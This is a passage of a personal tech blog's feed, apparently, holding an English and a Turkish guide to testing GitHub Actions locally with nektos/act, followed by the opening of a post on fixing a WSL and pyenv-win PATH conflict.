hac&inodot;. Ayr&inodot;ca ImageMagick v7 ile komutlar&inodot;n ba&scedil;&inodot;na <code>magick</code> eklemeniz gerekebilir; sisteminizde <code>magick mogrify</code> &scedil;eklinde deneyin. uykuya ihtiyac&inodot;m var, g&ouml;zlerim kapan&inodot;yor karda&scedil;. Hadi kal&inodot;n sa&gbreve;l&inodot;cakla! <a href="/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Alan&inodot; G&ouml;r&uuml;nmuyor &Ccedil;&ouml;z&uuml;m&uuml;</a> yaz&inodot;ma da bi' bak&inodot;n bi' ara, o da dertlidir. Hadi eyvallah karda&scedil;!&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-08T22:45:00+03:002026-05-08T22:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-08:/en/github-actions-yerelde-test-etme-act/

<p>Tired of committing with "test" every time you write GitHub Actions? An in-depth guide on how to test your workflows locally via Docker using act. (Guide)</p>

<p>Is it peer pressure or those annoying commit messages like "test 1", "test 2", "please work already"? Sometimes I ask myself, why do we choose the hard way when there's an easier one? You write a yaml file, and you have to hit that <code>git push</code> command just to see if there's a tiny syntax error. Then what happens? Uncle GitHub spins and spins, then boom "Failed". Start over... It's literally technological torture.</p> <p>Fortunately, I put an end to this torture the other day. You know that famous <strong>act</strong> (nektos/act) thing? It turns out that was our savior. It turns out we were tiring out GitHub's servers (and trashing our own commit history) for nothing.</p> <h2 id="what-is-this-act-and-why-havent-i-used-it-until-now">What is this "act" and Why Haven't I Used it Until Now?<a class="headerlink" href="#what-is-this-act-and-why-havent-i-used-it-until-now" title="Permanent link">#</a></h2> <p>Interestingly, this tool works with a very simple logic: it brings the environment used by GitHub Actions to your computer via Docker. So, it takes your files in the <code>.github/workflows</code> folder, spins up a Docker container, and runs everything there as if you were on GitHub.</p> <p>Let's be honest, most of us go "groping in the dark" while writing GitHub Actions. The organized commit structure I mentioned in my <a href="/en/github-commit-atma-rehberi/">GitHub commit guide</a> literally gasps for air during Actions trials. This is where <code>act</code> comes in. You can say, "Let me see if it works correctly before pushing."</p> <h2 id="before-you-start-docker-is-a-must-peer-pressure-is-back">Before You Start: Docker is a Must (Peer Pressure is Back)<a class="headerlink" href="#before-you-start-docker-is-a-must-peer-pressure-is-back" title="Permanent link">#</a></h2> <p>This is very important: <code>act</code> is not a magician on its own. It needs a Docker engine in the background. If Docker is not installed on your system, <code>act</code> will only give you a sad error message.</p> <p>If you are using Arch Linux (which you probably are if you are an Arch lover like me), I suggest you take a look at my <a href="/en/arch-linux-docker-kurulumu/">Arch Linux Docker installation</a> post. I explained everything in detail there; install it completely so that <code>act</code> doesn't give you a hard time.</p> <h3 id="installation-time-to-fire-up-the-terminal">Installation: Time to Fire Up the Terminal<a class="headerlink" href="#installation-time-to-fire-up-the-terminal" title="Permanent link">#</a></h3> <p>The installation part is actually quite painless. Since I usually like to handle everything from the terminal, I will show you that way too.</p> <ul> <li><strong>Linux (Arch):</strong> <code>yay -S act</code> or <code>pacman -S act</code></li> <li><strong>MacOS:</strong> <code>brew install act</code></li> <li><strong>Windows:</strong> <code>choco install act-cli</code> or <code>winget install nektos.act</code></li> </ul> <p>After the installation is finished, type <code>act --version</code> to come to your senses. Seeing that output on the screen makes you feel relieved, you say "Okay, at least we did something right."</p> <h2 id="first-run-meeting-act_1">First Run: Meeting "act"<a class="headerlink" href="#first-run-meeting-act" title="Permanent link">#</a></h2> <p>Installation is done, Docker is ready. Now go to the root directory of your project and type this magical command:</p> <p><code>act</code></p> <p>If you don't give any parameters, <code>act</code> starts running all jobs linked to the <code>push</code> event in order. When you run it for the first time, it will ask you which Docker image you want to use.</p> <h3 id="image-selection-large-medium-or-tiny">Image Selection: Large, Medium, or Tiny?<a class="headerlink" href="#image-selection-large-medium-or-tiny" title="Permanent link">#</a></h3> <p>When you first run it, <code>act</code> will ask you a question: "Which image do you want to use?" This is exactly a "red pill, blue pill" moment.</p> <ul> <li><strong>Large:</strong> About 17GB download, 53GB storage... It wants 75GB of free space in total! It's like a copy of the original machines on GitHub, but it leaves no room on your SSD.</li> <li><strong>Medium:</strong> About 500MB. It contains enough tools for most jobs. This is what I used, and it's my recommendation to you. Just right.</li> <li><strong>Micro:</strong> Under 200MB. It only has NodeJS. It's very limited and won't work for every Actions.</li> </ul> <div class="admonition warning"> <p class="admonition-title">Docker Socket Warning</p> <p>Don't be afraid if you get a warning like <code>Couldn't get a valid docker connection</code>. This usually happens because the <code>DOCKER_HOST</code> variable or socket access is not fully set. Make sure Docker is running, the rest will be fine.</p> </div> <div class="admonition tip"> <p class="admonition-title">Tip ⚡</p> <p>If you want to change these choices later, you can open and manually intervene in the <code>C:\Users\Username\AppData\Local\act\actrc</code> file on Windows (or <code>~/.actrc</code> on Linux).</p> </div> <h3 id="running-a-specific-job">Running a Specific Job<a class="headerlink" href="#running-a-specific-job" title="Permanent link">#</a></h3> <p>Sometimes you want to test a single job, not an entire workflow. After all, time is money, right? Here's how we do it:</p> <p><code>act -j build</code></p> <p>The <code>build</code> here is the naming under <code>jobs</code> in your yaml file. So it goes and only tests that part, it doesn't care about the rest.</p> <h2 id="what-happened-to-me-common-problems_1">What Happened to Me: Common Problems<a class="headerlink" href="#what-happened-to-me-common-problems" title="Permanent link">#</a></h2> <p>I'm not sure, but I think you'll get stuck the most on "Secrets" while using <code>act</code>. Those API keys and passwords you hide in that secure area on GitHub are naturally not available locally. When <code>act</code> can't see them, it crashes.</p> <p>When I first tried it, I struggled for half an hour wondering "Why am I getting an env error?". It turns out it was expecting something like a <code>.env</code> file.</p> <div class="admonition warning"> <p class="admonition-title">Warning! ⚠️</p> <p>If you are using Secrets, create a <code>.secrets</code> file and add it as <code>MY_TOKEN=asdasd</code>. Then run it with this command: <code>act --secret-file .secrets</code> Don't you dare push this <code>.secrets</code> file to git by mistake, then those security measures I explained in my <a href="/en/git-ssh-key-olusturma/">git ssh key creation</a> post will be in vain.</p> </div> <h3 id="like-the-availablewidth0-error-that-adsense-issue">Like the availableWidth=0 Error... (That AdSense Issue)<a class="headerlink" href="#like-the-availablewidth0-error-that-adsense-issue" title="Permanent link">#</a></h3> <p>Recently, while dealing with AdSense ads on the blog, I got an "availableWidth=0" error, you know, the annoying one. You might get weird outputs in <code>act</code> too because of the width of containers or environment variables. If the logs get mixed up, use the <code>-v</code> (verbose) flag. Yes, the terminal will overflow with text, but at least you'll see where it crashed.</p> <h2 id="act-vs-github-which-one-is-faster_1">act vs GitHub: Which One is Faster?<a class="headerlink" href="#act-vs-github-which-one-is-faster" title="Permanent link">#</a></h2> <p>Let's be honest. <code>act</code> can sometimes feel slow because it spins up the Docker container from scratch every time (unless you've done the cache settings). But it's faster than pushing to GitHub and waiting for Actions to get in line anyway.</p> <table> <thead> <tr> <th style="text-align: left;">Feature</th> <th style="text-align: left;">act (Local)</th> <th style="text-align: left;">GitHub Actions (Cloud)</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Speed</strong></td> <td style="text-align: left;">Very fast if image is loaded</td> <td style="text-align: left;">You might wait in line</td> </tr> <tr> <td style="text-align: left;"><strong>Feedback</strong></td> <td style="text-align: left;">Instant, in terminal</td> <td style="text-align: left;">In web interface</td> </tr> <tr> <td style="text-align: left;"><strong>Cost</strong></td> <td style="text-align: left;">Free (Your own electricity!)</td> <td style="text-align: left;">Free tier is limited</td> </tr> <tr> <td style="text-align: left;"><strong>Accuracy</strong></td> <td style="text-align: left;">95% (Some services missing)</td> <td style="text-align: left;">100% Original Environment</td> </tr> </tbody> </table> <p>The bottom line is; <code>act</code> is not a bullet, it's a shield. It protects you from unnecessary commits and time loss.</p> <h2 id="conclusion-you-wont-commit-with-test-anymore">Conclusion: You Won't Commit with "Test" Anymore!<a class="headerlink" href="#conclusion-you-wont-commit-with-test-anymore" title="Permanent link">#</a></h2> <p>Like the relief when I installed OpenSSL 3.x, the peace that comes when you configure <code>act</code> properly is something else. Now you can make sure everything is "Green" locally before pushing your project. 🚀</p> <p>So sometimes the solution isn't trusting the cloud, but bringing that power down to your own computer. Now go and slap those unfinished workflows locally! 😎</p> <hr/> <h3 id="related-posts">Related Posts:<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h3> <ul> <li><a href="/en/github-commit-atma-rehberi/">GitHub Commit Guide</a></li> <li><a href="/en/arch-linux-docker-kurulumu/">Arch Linux Docker Installation</a></li> <li><a href="/en/git-ssh-key-olusturma/">Git SSH Key Creation</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>You can reach the original documentation of the Nektos act project <a href="https://nektosact.com/usage/index.html" rel="noopener noreferrer" target="_blank">here</a>.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>If you are getting a "Permission Denied" error inside the container, check if you are included in the docker group.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-08T22:45:00+03:002026-05-08T22:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-08:/github-actions-yerelde-test-etme-act/

<p>GitHub Actions yazarken her seferinde "test" diye commit atmaktan bıktınız mı? act ile yerelde Docker üzerinden workflow'larınızı nasıl test edeceğinizi anlatan derinlemesine bir rehber. (Rehber)</p>

<p>Mahalle bask&inodot;s&inodot; m&inodot; dersiniz, yoksa o sinir bozucu "test 1", "test 2", "l&uuml;tfen &ccedil;al&inodot;&scedil; art&inodot;k" diye giden commit mesajlar&inodot; m&inodot;? Bazen kendime soruyorum, neden kolay&inodot; varken zoru se&ccedil;iyoruz? Bir yaml dosyas&inodot; yaz&inodot;yorsun, ufac&inodot;k bir syntax hatas&inodot; var m&inodot; yok mu anlamak i&ccedil;in illa ki o <code>git push</code> komutuna basman gerekiyor. Sonra ne oluyor? GitHub amca orada d&ouml;n&uuml;yor, d&ouml;n&uuml;yor, hop "Failed". Hadi ba&scedil;tan... Resmen teknolojik bir i&scedil;kence bu.</p> <p>Neyse ki ge&ccedil;en g&uuml;n bu i&scedil;kenceye bir son verdim. Hani &scedil;u me&scedil;hur <strong>act</strong> (nektos/act) <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> olay&inodot; var ya, me&gbreve;er kurtar&inodot;c&inodot;m&inodot;z oymu&scedil;. Me&gbreve;er biz bo&scedil;una GitHub'&inodot;n sunucular&inodot;n&inodot; yoruyormu&scedil;uz (ve kendi commit ge&ccedil;mi&scedil;imizi &ccedil;&ouml;p ediyormu&scedil;uz).</p> <h2 id="nedir-bu-act-ve-neden-simdiye-kadar-kullanmadm">Nedir Bu "act" ve Neden &Scedil;imdiye Kadar Kullanmad&inodot;m?<a class="headerlink" href="#nedir-bu-act-ve-neden-simdiye-kadar-kullanmadm" title="Permanent link">#</a></h2> <p>&Idot;&scedil;in ilgin&ccedil; yan&inodot;, bu ara&ccedil; asl&inodot;nda &ccedil;ok basit bir mant&inodot;kla &ccedil;al&inodot;&scedil;&inodot;yor: GitHub Actions'&inodot;n kulland&inodot;&gbreve;&inodot; ortam&inodot; Docker &uuml;zerinden senin bilgisayar&inodot;na getiriyor. Yani o <code>.github/workflows</code> klas&ouml;r&uuml;ndeki dosyalar&inodot;n&inodot; al&inodot;yor, bir Docker konteyneri aya&gbreve;a kald&inodot;r&inodot;yor ve sanki GitHub'daym&inodot;&scedil;s&inodot;n gibi her &scedil;eyi orada ko&scedil;turuyor.</p> <p>&Scedil;imdi d&uuml;r&uuml;st olal&inodot;m, &ccedil;o&gbreve;umuz GitHub Actions yazarken biraz "karanl&inodot;kta el yordam&inodot;yla" ilerliyoruz. <a href="/github-commit-atma-rehberi/">GitHub commit atma rehberi</a> yaz&inodot;mda bahsetti&gbreve;im o d&uuml;zenli commit yap&inodot;s&inodot;, Actions denemeleri s&inodot;ras&inodot;nda resmen can &ccedil;eki&scedil;iyor. &Idot;&scedil;te <code>act</code> tam burada devreye giriyor. "Pushlamadan &ouml;nce bir bakay&inodot;m, d&uuml;zg&uuml;n &ccedil;al&inodot;&scedil;&inodot;yor mu?" diyebiliyorsun.</p> <h2 id="baslamadan-once-docker-sart-mahalle-basks-yine-geldi">Ba&scedil;lamadan &Ouml;nce: Docker &Scedil;art (Mahalle Bask&inodot;s&inodot; Yine Geldi)<a class="headerlink" href="#baslamadan-once-docker-sart-mahalle-basks-yine-geldi" title="Permanent link">#</a></h2> <p>Bak&inodot;n buras&inodot; &ccedil;ok &ouml;nemli: <code>act</code> tek ba&scedil;&inodot;na bir sihirbaz de&gbreve;il. Arkada bir Docker motoruna ihtiya&ccedil; duyuyor. E&gbreve;er sisteminizde Docker y&uuml;kl&uuml; de&gbreve;ilse, <code>act</code> size sadece h&uuml;z&uuml;nl&uuml; bir hata mesaj&inodot; verir.</p> <p>E&gbreve;er Arch Linux kullan&inodot;yorsan&inodot;z (ki benim gibi bir Arch a&scedil;&inodot;&gbreve;&inodot;ysan&inodot;z muhtemelen &ouml;yledir), <a href="/arch-linux-docker-kurulumu/">Arch Linux Docker kurulumu</a> yaz&inodot;ma bir g&ouml;z at&inodot;n derim. Orada her &scedil;eyi detayl&inodot;ca anlatt&inodot;m, eksiksiz kurun ki <code>act</code> naz yapmas&inodot;n.</p> <h3 id="kurulum-terminalle-yardrma-vakti">Kurulum: Terminalle Yard&inodot;rma Vakti<a class="headerlink" href="#kurulum-terminalle-yardrma-vakti" title="Permanent link">#</a></h3> <p>Kurulum k&inodot;sm&inodot; asl&inodot;nda olduk&ccedil;a ac&inodot;s&inodot;z. Ben genelde her &scedil;eyi terminalden halletmeyi sevdi&gbreve;im i&ccedil;in size de o yolu g&ouml;sterece&gbreve;im.</p> <ul> <li><strong>Linux (Arch):</strong> <code>yay -S act</code> veya <code>pacman -S act</code></li> <li><strong>MacOS:</strong> <code>brew install act</code></li> <li><strong>Windows:</strong> <code>choco install act-cli</code> veya <code>winget install nektos.act</code></li> </ul> <p>Kurulum bittikten sonra bir <code>act --version</code> yaz&inodot;n da kendinize gelin. O &ccedil;&inodot;kt&inodot;y&inodot; ekranda g&ouml;r&uuml;nce insan bir rahatl&inodot;yor, "Tamam, en az&inodot;ndan bir &scedil;eyi do&gbreve;ru yapt&inodot;k" diyorsun.</p> <h2 id="ilk-kosu-act-ile-tansma_1">&Idot;lk Ko&scedil;u: "act" ile Tan&inodot;&scedil;ma<a class="headerlink" href="#ilk-kosu-act-ile-tansma" title="Permanent link">#</a></h2> <p>Kurulum bitti, Docker haz&inodot;r. &Scedil;imdi projenizin k&ouml;k dizinine gidin ve &scedil;u b&uuml;y&uuml;l&uuml; komutu yaz&inodot;n:</p> <p><code>act</code></p> <p>E&gbreve;er hi&ccedil;bir parametre vermezseniz, <code>act</code> gidip <code>push</code> event'ine ba&gbreve;l&inodot; olan t&uuml;m i&scedil;leri (job) s&inodot;rayla &ccedil;al&inodot;&scedil;t&inodot;rmaya ba&scedil;lar. &Idot;lk &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda size hangi Docker imaj&inodot;n&inodot; kullanmak istedi&gbreve;inizi soracak. Ben genelde "Medium" olan&inodot; se&ccedil;iyorum, ne &ccedil;ok hantal ne de &ccedil;ok eksik. Ama disk alan&inodot;n&inodot;z darsa "Light" da i&scedil;inizi g&ouml;r&uuml;r, tabii baz&inodot; ba&gbreve;&inodot;ml&inodot;l&inodot;klar&inodot; kendiniz kurmak zorunda kalabilirsiniz.</p> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡</p> </div> <h3 id="imaj-secimi-buyuk-mu-orta-m-yoksa-minicik-mi">&Idot;maj Se&ccedil;imi: B&uuml;y&uuml;k m&uuml;, Orta m&inodot;, Yoksa Minicik mi?<a class="headerlink" href="#imaj-secimi-buyuk-mu-orta-m-yoksa-minicik-mi" title="Permanent link">#</a></h3> <p>&Idot;lk &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda <code>act</code> size bir soru soracak: "Hangi imaj&inodot; kullanmak istersin?" &Idot;&scedil;te buras&inodot; tam bir "k&inodot;rm&inodot;z&inodot; hap, mavi hap" an&inodot;.</p> <ul> <li><strong>Large (B&uuml;y&uuml;k):</strong> Yakla&scedil;&inodot;k 17GB indirme, 53GB depolama... Toplamda 75GB bo&scedil; alan istiyor! GitHub'daki orijinal makinelerin kopyas&inodot; gibi ama SSD'nizde yer b&inodot;rakmaz.</li> <li><strong>Medium (Orta):</strong> Yakla&scedil;&inodot;k 500MB. &Ccedil;o&gbreve;u i&scedil; i&ccedil;in yeterli ara&ccedil;lar&inodot; bar&inodot;nd&inodot;r&inodot;yor. Ben i&scedil;imi bununla g&ouml;rd&uuml;m, size de tavsiyem budur. Tam karar&inodot;nda.</li> <li><strong>Micro (Mikro):</strong> 200MB alt&inodot;. Sadece NodeJS var. &Ccedil;ok k&inodot;s&inodot;tl&inodot;, her Actions'da yemez.</li> </ul> <div class="admonition warning"> <p class="admonition-title">Docker Soket Uyar&inodot;s&inodot;</p> <p>E&gbreve;er <code>Couldn't get a valid docker connection</code> gibi bir uyar&inodot; al&inodot;rsan&inodot;z korkmay&inodot;n. <sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> Bu genelde <code>DOCKER_HOST</code> de&gbreve;i&scedil;keninin veya soket eri&scedil;iminin tam oturmamas&inodot;ndan olur. Docker'&inodot;n &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;ndan emin olun, gerisi hallolur.</p> </div> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡</p> <p>Bu se&ccedil;imlerinizi sonradan de&gbreve;i&scedil;tirmek isterseniz Windows'ta <code>C:\Users\Kullan&inodot;c&inodot;Ad&inodot;\AppData\Local\act\actrc</code> dosyas&inodot;n&inodot; (Linux'ta <code>~/.actrc</code>) a&ccedil;&inodot;p elle m&uuml;dahale edebilirsiniz.</p> </div> <h3 id="belirli-bir-job-calstrmak">Belirli Bir Job'&inodot; &Ccedil;al&inodot;&scedil;t&inodot;rmak<a class="headerlink" href="#belirli-bir-job-calstrmak" title="Permanent link">#</a></h3> <p>Bazen koca bir workflow'u de&gbreve;il de sadece tek bir i&scedil;i test etmek istersiniz. Sonu&ccedil;ta vakit nakit, de&gbreve;il mi? &Scedil;&ouml;yle yap&inodot;yoruz:</p> <p><code>act -j build</code></p> <p>Buradaki <code>build</code>, sizin yaml dosyan&inodot;zdaki <code>jobs</code> alt&inodot;ndaki isimlendirmedir. Yani gidip sadece o k&inodot;sm&inodot; test eder, gerisini umursamaz.</p> <h2 id="benim-basma-gelenler-sk-karslaslan-sorunlar_1">Benim Ba&scedil;&inodot;ma Gelenler: S&inodot;k Kar&scedil;&inodot;la&scedil;&inodot;lan Sorunlar<a class="headerlink" href="#benim-basma-gelenler-sk-karslaslan-sorunlar" title="Permanent link">#</a></h2> <p>Emin de&gbreve;ilim ama san&inodot;r&inodot;m <code>act</code> kullan&inodot;rken en &ccedil;ok "Secrets" (S&inodot;rlar) konusunda tak&inodot;lacaks&inodot;n&inodot;z. GitHub'da o g&uuml;venli alana saklad&inodot;&gbreve;&inodot;n&inodot;z API anahtarlar&inodot;, &scedil;ifreler yerelde yok haliyle. <code>act</code> bunlar&inodot; g&ouml;remeyince de patl&inodot;yor.</p> <p>Ben ilk denedi&gbreve;imde "Neden env hatas&inodot; al&inodot;yorum?" diye yar&inodot;m saat t&inodot;rmalad&inodot;m. Me&gbreve;er <code>.env</code> dosyas&inodot; gibi bir &scedil;ey bekliyormu&scedil;.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! ⚠️</p> <p>Secrets kullan&inodot;yorsan&inodot;z, bir <code>.secrets</code> dosyas&inodot; olu&scedil;turun ve i&ccedil;ine <code>MY_TOKEN=asdasd</code> &scedil;eklinde ekleyin. Sonra da &scedil;u komutla &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n: <code>act --secret-file .secrets</code> Sak&inodot;n ha bu <code>.secrets</code> dosyas&inodot;n&inodot; yanl&inodot;&scedil;l&inodot;kla git'e pushlamay&inodot;n, sonra <a href="/git-ssh-key-olusturma/">git ssh key olu&scedil;turma</a> yaz&inodot;mda anlatt&inodot;&gbreve;&inodot;m o g&uuml;venlik &ouml;nlemleri bo&scedil;a gider.</p> </div> <h3 id="availablewidth0-hatas-gibi-hani-su-adsense-meselesi">availableWidth=0 Hatas&inodot; Gibi... (Hani &Scedil;u AdSense Meselesi)<a class="headerlink" href="#availablewidth0-hatas-gibi-hani-su-adsense-meselesi" title="Permanent link">#</a></h3> <p>Ge&ccedil;enlerde blogda AdSense reklamlar&inodot;yla u&gbreve;ra&scedil;&inodot;rken bir "availableWidth=0" hatas&inodot; alm&inodot;&scedil;t&inodot;m, hani o sinir bozucu olan. <code>act</code> i&ccedil;inde de bazen konteynerlerin geni&scedil;li&gbreve;i veya ortam de&gbreve;i&scedil;kenleri y&uuml;z&uuml;nden garip &ccedil;&inodot;kt&inodot;lar alabilirsiniz. E&gbreve;er loglar birbirine girerse <code>-v</code> (verbose) flag'ini kullan&inodot;n. Evet, terminal yaz&inodot;yla dolup ta&scedil;acak ama en az&inodot;ndan nerede patlad&inodot;&gbreve;&inodot;n&inodot; g&ouml;r&uuml;rs&uuml;n&uuml;z.</p> <h2 id="act-vs-github-hangisi-daha-hzl_1">act vs GitHub: Hangisi Daha H&inodot;zl&inodot;?<a class="headerlink" href="#act-vs-github-hangisi-daha-hzl" title="Permanent link">#</a></h2> <p>&Scedil;imdi e&gbreve;ri otural&inodot;m do&gbreve;ru konu&scedil;al&inodot;m. <code>act</code> bazen yava&scedil; gelebilir &ccedil;&uuml;nk&uuml; Docker konteynerini her seferinde ba&scedil;tan aya&gbreve;a kald&inodot;r&inodot;yor (e&gbreve;er cache ayarlar&inodot;n&inodot; yapmad&inodot;ysan&inodot;z). Ama GitHub'a pushlay&inodot;p Actions'&inodot;n s&inodot;raya girmesini beklemekten her t&uuml;rl&uuml; daha h&inodot;zl&inodot;.</p> <table> <thead> <tr> <th style="text-align: left;">&Ouml;zellik</th> <th style="text-align: left;">act (Yerel)</th> <th style="text-align: left;">GitHub Actions (Bulut)</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>H&inodot;z</strong></td> <td style="text-align: left;">&Idot;maj y&uuml;kl&uuml;yse &ccedil;ok h&inodot;zl&inodot;</td> <td style="text-align: left;">S&inodot;ra bekleyebilirsiniz</td> </tr> <tr> <td style="text-align: left;"><strong>Geri Bildirim</strong></td> <td style="text-align: left;">An&inodot;nda, terminalde</td> <td style="text-align: left;">Web aray&uuml;z&uuml;nde</td> </tr> <tr> <td style="text-align: left;"><strong>Maliyet</strong></td> <td style="text-align: left;">Bedava (Kendi elektri&gbreve;in!)</td> <td style="text-align: left;">Free tier limitli</td> </tr> <tr> <td style="text-align: left;"><strong>Do&gbreve;ruluk</strong></td> <td style="text-align: left;">%95 (Baz&inodot; servisler eksik)</td> <td style="text-align: left;">%100 Orijinal Ortam</td> </tr> </tbody> </table> <p>&Idot;&scedil;in &ouml;z&uuml; &scedil;u; <code>act</code> bir mermi de&gbreve;il, bir kalkan. Sizi gereksiz commitlerden ve vakit kayb&inodot;ndan koruyor.</p> <h2 id="sonuc-artk-test-diye-commit-atmayacaksnz">Sonu&ccedil;: Art&inodot;k "Test" Diye Commit Atmayacaks&inodot;n&inodot;z!<a class="headerlink" href="#sonuc-artk-test-diye-commit-atmayacaksnz" title="Permanent link">#</a></h2> <p>OpenSSL 3.x s&uuml;r&uuml;m&uuml;n&uuml; kurdu&gbreve;umdaki o rahatlama gibi, <code>act</code>'i d&uuml;zg&uuml;nce konfig&uuml;re edince gelen huzur bamba&scedil;ka. Art&inodot;k projenizi pushlamadan &ouml;nce yerelde her &scedil;eyin "Ye&scedil;il" yand&inodot;&gbreve;&inodot;ndan emin olabilirsiniz. 🚀</p> <p>Yani bazen &ccedil;&ouml;z&uuml;m, buluta g&uuml;venmek de&gbreve;il, o g&uuml;c&uuml; kendi bilgisayar&inodot;na indirmekmi&scedil;. &Scedil;imdi gidip o yar&inodot;m kalan workflow'lar&inodot;n&inodot;z&inodot; yerelde bir tokatlay&inodot;n bakal&inodot;m! 😎</p> <hr/> <h3 id="ilgili-yazlar">&Idot;lgili Yaz&inodot;lar:<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h3> <ul> <li><a href="/github-commit-atma-rehberi/">GitHub Commit Atma Rehberi</a></li> <li><a href="/arch-linux-docker-kurulumu/">Arch Linux Docker Kurulumu</a></li> <li><a href="/git-ssh-key-olusturma/">Git SSH Key Olu&scedil;turma</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Nektos act projesinin orijinal dok&uuml;manlar&inodot;na <a href="https://nektosact.com/usage/index.html" rel="noopener noreferrer" target="_blank">buradan</a> ula&scedil;abilirsiniz.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>E&gbreve;er konteyner i&ccedil;inde "Permission Denied" hatas&inodot; al&inodot;yorsan&inodot;z, docker grubuna dahil olup olmad&inodot;&gbreve;&inodot;n&inodot;z&inodot; kontrol edin.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-04T18:40:00+03:002026-05-04T18:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-04:/en/wsl-pyenv-cakisma-cozumu/

<p>I disabled the Windows pyenv-win PATH conflict that broke the Python environment in WSL and set up a clean, isolated Linux dev setup.</p>

<h2 id="the-why-is-python-broken-again-moment">The "Why is Python broken again?" moment<a class="headerlink" href="#the-why-is-python-broken-again-moment" title="Permanent link">#</a></h2> <p>Let me say this right from the start: at first glance, this error looks like "Python is broken," but it's not. Here's what actually happens: you run <code>python</code> inside WSL, and it throws this at you:</p> <div class="highlight"><pre><span></span><code>/mnt/c/Users/user/.pyenv/pyenv-win/shims/python bad<span class="w"> </span>interpreter:<span class="w"> </span>/bin/sh^M </code></pre></div> <p>And your first thought is: <em>"What did I do now?"</em> First reaction: What happened to Python? Second reaction: Did I break my <code>.zshrc</code>? Third reaction: Should I throw the computer at the wall? I went through exactly that order. And finally, I realized that the issue had nothing to do with Python; it was entirely a <strong>PATH conflict</strong>.</p> <hr/> <h2 id="wsl-interop-the-silent-killer">WSL Interop: The Silent Killer<a class="headerlink" href="#wsl-interop-the-silent-killer" title="Permanent link">#</a></h2> <p>I need to get a bit technical here, but don't worry, I'll explain. WSL has an "interop" mechanism with Windows. This mechanism allows you to run Windows applications from within WSL &mdash; for example, typing <code>explorer.exe .</code> opens the file manager, and <code>notepad.exe</code> opens Notepad. It's a nice feature. But there's a problem. This interop mechanism silently pulls the Windows PATH into WSL as well. This means everything installed on Windows &mdash; Python, Node.js, Java, you name it &mdash; leaks into WSL's PATH. Look at what Microsoft's own documentation says: <a href="https://learn.microsoft.com/en-us/windows/wsl/wsl-config#global-configuration-options-with-wslconfig" rel="noopener noreferrer" target="_blank">WSL Global Configuration Options</a> There's a setting called <code>appendWindowsPath</code>. By default, it's <code>true</code>. So the Windows PATH is automatically added. When you read it, you think, "Okay, this is optional, leave it alone." Then you look at your system, and it's half Windows, half Linux. Sounds like a great hybrid, right? No. It's not.</p> <hr/> <h2 id="my-experience-debugging-log">My Experience: Debugging Log<a class="headerlink" href="#my-experience-debugging-log" title="Permanent link">#</a></h2> <p>First, I tinkered with <code>.zshrc</code>. I examined the PATH lines one by one. They were clean. I checked <code>.profile</code>. Clean as well. I ran <code>printenv | grep -i pyenv</code>. Output:</p> <div class="highlight"><pre><span></span><code><span class="nv">PATH</span><span class="o">=</span>...:/mnt/c/Users/user/.pyenv/pyenv-win/bin:... </code></pre></div> <p>That's where I saw it. Pyenv isn't installed on the Linux side, but <code>pyenv-win</code> on Windows leaked into WSL's PATH. In case you don't know how pyenv-win works, let me briefly explain: it's a tool that manages Python versions on Windows. It creates fake python executors in its own <code>shims</code> folder. When WSL sees these shims, it says, "Ah, okay, Python is here," but those shims are written for Windows. Then comes the <code>bad interpreter: /bin/sh^M</code> error. Did you see the <code>^M</code>? That's the Windows line-ending character (<code>\r\n</code>). Linux requires <code>\n</code>. So the file coming from Windows cannot be read by Linux.</p> <hr/> <h2 id="how-does-interop-work-technical-detail">How Does Interop Work? (Technical Detail)<a class="headerlink" href="#how-does-interop-work-technical-detail" title="Permanent link">#</a></h2> <p>Let's dive a bit deeper. When WSL starts, it works in this order:</p> <ol> <li>The Linux kernel loads.</li> <li>The init process begins.</li> <li><code>/etc/wsl.conf</code> and <code>%UserProfile%\.wslconfig</code> are read.</li> <li>If <code>enabled=true</code>, information is pulled from Windows.</li> <li>If <code>appendWindowsPath=true</code>, the Windows PATH is added to the Linux PATH.</li> </ol> <p>During this process, the <code>pyenv-win</code> folder on the Windows side ends up in the PATH. And the bash in Linux tries to run the shims files in that folder. Result: <code>bad interpreter</code> error. <a href="https://stackoverflow.com/questions/75883177/installing-pyenv-win-on-top-of-working-wsl2-ubuntu-instance-breaks-ubuntu-pyenv" rel="noopener noreferrer" target="_blank">There are people on StackOverflow experiencing the same error</a>. Everyone there says the same thing: "Windows installs pyenv, it leaks into WSL, Python breaks."</p> <hr/> <h2 id="the-solution-step-by-step-isolation">The Solution: Step-by-Step Isolation<a class="headerlink" href="#the-solution-step-by-step-isolation" title="Permanent link">#</a></h2> <p>I applied the simplest but most drastic solution. I completely isolated WSL from Windows.</p> <h3 id="step-1-find-or-create-the-wslconf-file">Step 1: 